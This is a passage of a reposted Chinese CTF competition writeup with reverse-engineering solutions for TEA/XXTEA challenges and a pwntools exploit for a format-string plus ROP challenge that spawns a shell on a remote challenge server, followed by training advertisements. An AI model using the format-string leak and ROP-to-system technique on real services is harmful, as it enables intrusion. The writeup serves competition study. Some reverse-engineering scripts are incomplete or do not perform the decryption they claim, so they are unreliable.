文章总结: 文档为2026年楚慧杯省赛初赛Writeup。WEB方向涵盖PHP命令执行绕过、整数溢出结合SSRF与SSTI利用、SQL注入与MD5扩展攻击及路径穿越。Crypto方向针对DSA签名Nonce缺陷实施格攻击。文章提供完整漏洞分析、利用脚本及解题步骤,展示多种Web漏洞组合利用技巧与密码学实战方法,具有较高技术价值。 综合评分: 90 文章分类: CTF,WEB安全,漏洞分析,漏洞POC

因为 TEA 输入和 key 都是固定的,所以直接写脚本模拟 32 轮即可
def tea_encrypt(): v0 = 0x18274A3A v1 = 0x24F8D42F k = [0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B] delta = 0xDEADBEEF sum_ = 0
for _ in range(32): sum_ = (sum_ + delta) & 0xffffffff v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + sum_) ^ ((v1 >> 5) + k[1]))) & 0xffffffff v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + sum_) ^ ((v0 >> 5) + k[3]))) & 0xffffffff
return v0, v1
直接写解密脚本:
import struct
def tea_encrypt(): v0 = 0x18274A3A v1 = 0x24F8D42F k = [0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B] delta = 0xDEADBEEF sum_ = 0
for _ in range(32): sum_ = (sum_ + delta) & 0xffffffff v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + sum_) ^ ((v1 >> 5) + k[1]))) & 0xffffffff v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + sum_) ^ ((v0 >> 5) + k[3]))) & 0xffffffff
return v0, v1
# TEA 输出转 8 字节v0, v1 = tea_encrypt()tea_bytes = struct.pack("<II", v0, v1) # 按小端拆分,和程序一致
# 程序中的 40 字节硬编码密文(这里替换成你在 IDA 里抄出的那组字节)target = bytes([ # 把程序里的 40 字节密文填进来])
# 逆向 XORflag = bytearray()for i in range(len(target)): key_byte = (tea_bytes[i % 8] + 0x1B) & 0xFF flag.append(target[i] ^ key_byte)
print(flag.decode())#DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
Re-eazy_code:
拿到附件后先使用 IDA / Ghidra 打开程序进行分析。
程序逻辑非常简单:程序读取用户输入字符串。将输入字符串按 4字节分组。对数据执行一段 加密运算。最终结果与程序内置的数组进行比较。如果加密结果一致,则输出 Correct。
程序中的目标数组为:
ans = {1374278842,2136006540,4191056815,3248881376};
这些数值就是加密后的结果。在函数中可以看到典型特征:
sum += delta;v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
这段结构非常典型,是 TEA / XXTEA 加密算法 的特征。
题目中使用的是 简化版 XXTEA,并且是: 32轮运算 固定 key
由于程序是 加密后再比较,所以只需要 逆运算即可恢复原字符串。
将 ans 数组作为密文输入,通过 XXTEA 解密 即可得到原始数据。
编写简单 Python 脚本进行解密:
import struct
ans = [1374278842,2136006540,4191056815,3248881376]
# 转换为字节data = b''.join(struct.pack('<I', i) for i in ans)
print(data)## yOUar3g0oD@tPw5H
Pwn-house_1:
题目内容:Can you get a proper house
保护全开,change操作中存在格式化字符串漏洞,
可以直接泄露 libc,pie,canary
edit有一个read,长度 0x20,可被格串写。
因此直接printf泄露一系列地址,改大nbytes,然后栈溢出写rop链即可。
#!/usr/bin/env python3from pwn import *import recontext(log_level='debug',arch='amd64')libc = ELF('./libc.so.6')def choose(io, n): io.recvuntil(b'>> ') io.sendline(str(n).encode())def change(io, payload): choose(io, 2) io.recvuntil(b'Please write your name:\n') io.send(payload) io.recvuntil(b'the name is:\n') return io.recvline().strip()io = remote('45.40.247.139',31268)leak = change(io, b'%13$p-%8$p-%1$p\n').split(b'-')canary = int(leak[0], 16)pie = int(leak[1], 16) - 0x14A0libc.address = int(leak[2], 16) - 0x1ED723change(io, b'%768c%10$hn'.ljust(0x20, b'A') + p64(pie+0x4010))rop = ROP(libc)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]binsh = next(libc.search(b'/bin/sh\x00'))choose(io, 3)io.recvuntil(b'Please write your content\n')payload = b'A' * 0x48 + p64(canary) + b'A' * 8 + flat(pop_rdi+1, pop_rdi, binsh, libc.sym.system)io.send(payload)io.interactive()
排版偏手机观看,手机看效果体验更好哦!
需要交流或者培训可以联系小编加群交流!
2025第二届全国行业赛-电子取证师需要资源dd
初赛培训班10+学员全部晋级复赛,可以指导!
此次2025行业赛圆满结束!
需要备战2027第三届网络安全行业赛-电子取证赛道的可以联系小编.适合取证感兴趣的小伙伴,0基础也能学。
PS:第二届甘肃技能大赛通知-真题辅导需要可以联系!
数据安全/信息安全评估赛项星球
第二届数字化职工组/数据安全技能大赛(备战第三届可以培训)
第四届全国数据安全职业技能竞赛(美亚数据安全管理员/可培训)
知识星球599/年(后续有最新资源可能涨价,购买前私信小编!)
关注我们
欢迎关注鱼影安全社区,专注CTF,职业技能大赛中高职技能培训,信息安全评估高职组赛项,金砖一带一路诸暨技能大赛:企业信息安全赛道-攻防治理赛道-首届金砖虚拟网络建设赛道-创信大赛,世界技能大赛省选拔赛,企业赛,行业赛,电子取证和CTF系列培训,工控CTF系列,第二届网络安全行业职业技能大赛(电子取证师、渗透测试员、网络安全管理员、网络信息审核员)等。
鱼影安全团队招人啦,有感兴趣的师傅可以私信我
需要学习数据安全管理员和CTF安全培训,可以联系小编!
点分享
点收藏
点在看
点点赞
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:鱼影安全 落寞的鱼 落寞的鱼《2026第十届“楚慧杯”湖北省网络与数据安全实践能力竞赛初赛Writeup》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论